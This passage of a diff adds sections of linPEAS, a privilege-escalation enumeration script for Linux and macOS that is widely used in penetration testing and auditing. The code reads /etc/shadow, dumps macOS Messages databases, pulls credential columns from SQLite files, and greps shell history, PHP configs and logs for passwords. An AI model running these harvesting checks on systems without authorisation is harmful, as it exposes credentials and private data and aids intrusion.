+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
+ else
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
+ fi
+ done
+ echo ""
+
+ else
+ print_3title "Current shell capabilities"
+ (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
+ echo ""
+
+ print_3title "Parent proc capabilities"
+ (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
+ echo ""
+ fi
+ echo ""
+ echo "Files with capabilities (limited to 50):"
+ getcap -r / 2>/dev/null | head -n 50 | while read cb; do
+ capsVB_vuln=""
+
+ for capVB in $capsVB; do
+ capname="$(echo $capVB | cut -d ':' -f 1)"
+ capbins="$(echo $capVB | cut -d ':' -f 2)"
+ if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
+ echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ capsVB_vuln="1"
+ break
+ fi
+ done
+
+ if ! [ "$capsVB_vuln" ]; then
+ echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
+ fi
+
+ if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
+ echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ done
+ echo ""
+fi
+
+##-- IPF) Users with capabilities
+if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
+ print_2title "Users with capabilities"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
+ if [ -f "/etc/security/capability.conf" ]; then
+ grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+ else echo_not_found "/etc/security/capability.conf"
+ fi
+ echo ""
+fi
+
+##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
+ print_2title "AppArmor binary profiles"
+ ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
+ echo ""
+ fi
+fi
+
+##-- IPF) Files with ACLs
+print_2title "Files with ACLs (limited to 50)"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+else
+ ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+fi
+
+if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
+ ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+fi
+echo ""
+
+##-- IPF) Files with ResourceFork
+#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
+# print_2title "Files with ResourceFork"
+# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
+# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
+#fi
+#echo ""
+
+##-- IPF) Files (scripts) in /etc/profile.d/
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Files (scripts) in /etc/profile.d/"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
+ if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
+ (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
+ check_critial_root_path "/etc/profile"
+ check_critial_root_path "/etc/profile.d/"
+ fi
+ echo ""
+fi
+
+ ##-- IPF) Files (scripts) in /etc/init.d/
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+print_2title "Permissions in init, init.d, systemd, and rc.d"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
+ if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
+ check_critial_root_path "/etc/init/"
+ check_critial_root_path "/etc/init.d/"
+ check_critial_root_path "/etc/rc.d/init.d"
+ check_critial_root_path "/usr/local/etc/rc.d"
+ check_critial_root_path "/etc/rc.d"
+ check_critial_root_path "/etc/systemd/"
+ check_critial_root_path "/lib/systemd/"
+ fi
+
+ echo ""
+fi
+
+
+
+##-- IPF) Hashes in passwd file
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_list "Hashes inside passwd file? ........... "
+ if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ ##-- IPF) Writable in passwd file
+ print_list "Writable passwd file? ................ "
+ if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else echo_no
+ fi
+
+ ##-- IPF) Credentials in fstab
+ print_list "Credentials in fstab/mtab? ........... "
+ if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ ##-- IPF) Read shadow files
+ print_list "Can I read shadow files? ............. "
+ if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "Can I read shadow plists? ............ "
+ possible_check=""
+ (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
+
+ print_list "Can I write shadow plists? ........... "
+ possible_check=""
+ (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
+
+ ##-- IPF) Read opasswd file
+ print_list "Can I read opasswd file? ............. "
+ if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
+ else echo_no
+ fi
+
+ ##-- IPF) network-scripts
+ print_list "Can I write in network-scripts? ...... "
+ if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else echo_no
+ fi
+
+ ##-- IPF) Read root dir
+ print_list "Can I read root folder? .............. "
+ (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
+ echo ""
+fi
+
+##-- IPF) Root files in home dirs
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching root files in home dirs (limit 30)"
+ (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
+ echo ""
+fi
+
+##-- IPF) Others files in my dirs
+if ! [ "$IAMROOT" ]; then
+ print_2title "Searching folders owned by me containing others files on it (limit 100)"
+ (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
+ echo ""
+fi
+
+##-- IPF) Readable files belonging to root and not world readable
+if ! [ "$IAMROOT" ]; then
+ print_2title "Readable files belonging to root and readable by me but not world readable"
+ (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
+ echo ""
+fi
+
+##-- IPF) Interesting writable files by ownership or all
+if ! [ "$IAMROOT" ]; then
+ print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
+ # In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
+ obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
+ printf "%s\n" "$obmowbe" | while read entry; do
+ if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
+ elif echo "$entry" | grep -qE "$writeVB"; then
+ echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
+ else
+ echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
+ fi
+ done
+ echo ""
+fi
+
+##-- IPF) Interesting writable files by group
+if ! [ "$IAMROOT" ]; then
+ print_2title "Interesting GROUP writable files (not in Home) (max 500)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
+ for g in $(groups); do
+ iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
+ if [ "$iwfbg" ] || [ "$DEBUG" ]; then
+ printf " Group $GREEN$g:\n$NC";
+ printf "%s\n" "$iwfbg" | while read entry; do
+ if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
+ elif echo "$entry" | grep -Eq "$writeVB"; then
+ echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
+ else
+ echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
+ fi
+ done
+ fi
+ done
+ echo ""
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q interesting_files; then
+print_title "Other Interesting Files"
+###########################################
+#----------) Interesting files (----------#
+###########################################
+
+
+##-- IF) .sh files in PATH
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title ".sh files in path"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
+ echo $PATH | tr ":" "\n" | while read d; do
+ for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
+ if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
+ echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
+ elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then # If write permision, win found (no check exploits)
+ echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else
+ echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
+ fi
+ done
+ done
+ echo ""
+
+ broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
+ if [ "$broken_links" ] || [ "$DEBUG" ]; then
+ print_2title "Broken links in path"
+ echo $PATH | tr ":" "\n" | while read d; do
+ find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
+ done
+ echo ""
+ fi
+fi
+
+##-- IF) Date times inside firmware
+if [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Files datetimes inside the firmware (limit 50)"
+ find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
+ echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
+ echo ""
+fi
+
+##-- IF) Executable files added by user
+print_2title "Executable files potentially added by user (limit 70)"
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
+else
+ find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
+fi
+echo ""
+
+
+
+if [ "$MACPEAS" ]; then
+ print_2title "Unsigned Applications"
+ macosNotSigned /System/Applications
+fi
+
+##-- IF) Unexpected in /opt
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ "$(ls /opt 2>/dev/null)" ]; then
+ print_2title "Unexpected in /opt (usually empty)"
+ ls -la /opt
+ echo ""
+ fi
+fi
+
+##-- IF) Unexpected folders in /
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Unexpected in root"
+ if [ "$MACPEAS" ]; then
+ (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
+ else
+ (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
+ fi
+ echo ""
+fi
+
+##-- IF) Modified interesting files into specific folders in the last 5mins
+print_2title "Modified interesting files in the last 5mins (limit 100)"
+find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
+echo ""
+
+##-- IF) Writable log files
+if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then # 3.18.0 and below
+print_2title "Writable log files (logrotten) (limit 50)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
+ logrotate --version 2>/dev/null || echo_not_found "logrotate"
+ lastWlogFolder="ImPOsSiBleeElastWlogFolder"
+ logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
+ printf "%s\n" "$logfind" | while read log; do
+ if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then # Only print info if something interesting found
+ if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
+ elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
+ elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
+ elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
+ fi
+ fi
+ done
+fi
+
+echo ""
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ ##-- IF) Files inside my home
+ print_2title "Files inside $HOME (limit 20)"
+ (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
+ echo ""
+
+ ##-- IF) Files inside /home
+ print_2title "Files inside others home (limit 20)"
+ (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
+ echo ""
+
+ ##-- IF) Mail applications
+ print_2title "Searching installed mail applications"
+ ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
+ echo ""
+
+ ##-- IF) Mails
+ print_2title "Mails (limit 50)"
+ (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
+ echo ""
+
+ ##-- IF) Backup folders
+ if [ "$backup_folders" ] || [ "$DEBUG" ]; then
+ print_2title "Backup folders"
+ printf "%s\n" "$backup_folders" | while read b ; do
+ ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
+ ls -l "$b" 2>/dev/null && echo ""
+ done
+ echo ""
+ fi
+fi
+
+##-- IF) Backup files
+print_2title "Backup files (limited 100)"
+backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
+printf "%s\n" "$backs" | head -n 100 | while read b ; do
+ if [ -r "$b" ]; then
+ ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
+ fi;
+done
+echo ""
+
+##-- IF) DB files
+if [ "$MACPEAS" ]; then
+ print_2title "Reading messages database"
+ sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
+ sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
+ sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
+
+fi
+
+
+if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
+ print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
+ FILECMD="$(command -v file 2>/dev/null)"
+ printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
+ if [ "$FILECMD" ]; then
+ echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
+ else
+ echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
+ fi
+ done
+ SQLITEPYTHON=""
+ echo ""
+ printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
+ if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then # If readable and filecmd and sqlite, or readable and not filecmd
+ if [ "$(command -v sqlite3 2>/dev/null)" ]; then
+ tables=$(sqlite3 $f ".tables" 2>/dev/null)
+ #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
+ elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
+ SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
+ tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
+ #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
+ else
+ tables=""
+ fi
+ if [ "$tables" ] || [ "$DEBUG" ]; then
+ printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
+ printf "%s\n" "$tables" | while read t; do
+ columns=""
+ # Search for credentials inside the table using sqlite3
+ if [ -z "$SQLITEPYTHON" ]; then
+ columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
+ # Search for credentials inside the table using python
+ else
+ columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
+ fi
+ # Check found columns for interesting fields
+ INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
+ if [ "$INTCOLUMN" ]; then
+ printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
+ printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
+ (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
+ echo ""
+ fi
+ done
+ fi
+ fi
+ done
+fi
+echo ""
+
+if [ "$MACPEAS" ]; then
+ print_2title "Downloaded Files"
+ sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
+fi
+
+##-- IF) Web files
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Web files?(output limit)"
+ ls -alhR /var/www/ 2>/dev/null | head
+ ls -alhR /srv/www/htdocs/ 2>/dev/null | head
+ ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
+ ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
+ echo ""
+fi
+
+##-- IF) All hidden files
+print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
+find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
+echo ""
+
+##-- IF) Readable files in /tmp, /var/tmp, backups
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
+ filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
+ printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
+ echo ""
+fi
+
+##-- IF) Passwords in history cmd
+if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
+ print_2title "Searching passwords in history cmd"
+ history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ echo ""
+fi
+
+##-- IF) Passwords in history files
+if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
+ print_2title "Searching passwords in history files"
+ printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
+ echo ""
+fi
+
+##-- IF) Passwords in config PHP files
+if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
+ print_2title "Searching passwords in config PHP files"
+ printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
+ echo ""
+fi
+
+##-- IF) Passwords files in home
+if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
+ print_2title "Searching *password* or *credential* files in home (limit 70)"
+ (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
+ echo ""
+fi
+
+##-- IF) TTY passwords
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Checking for TTY (sudo/su) passwords in audit logs"
+ aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
+ find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
+ echo ""
+fi
+
+##-- IF) IPs inside logs
+if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
+ print_2title "Searching IPs inside logs (limit 70)"
+ (find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
+ echo ""
+fi
+
+##-- IF) Passwords inside logs
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching passwords inside logs (limit 70)"
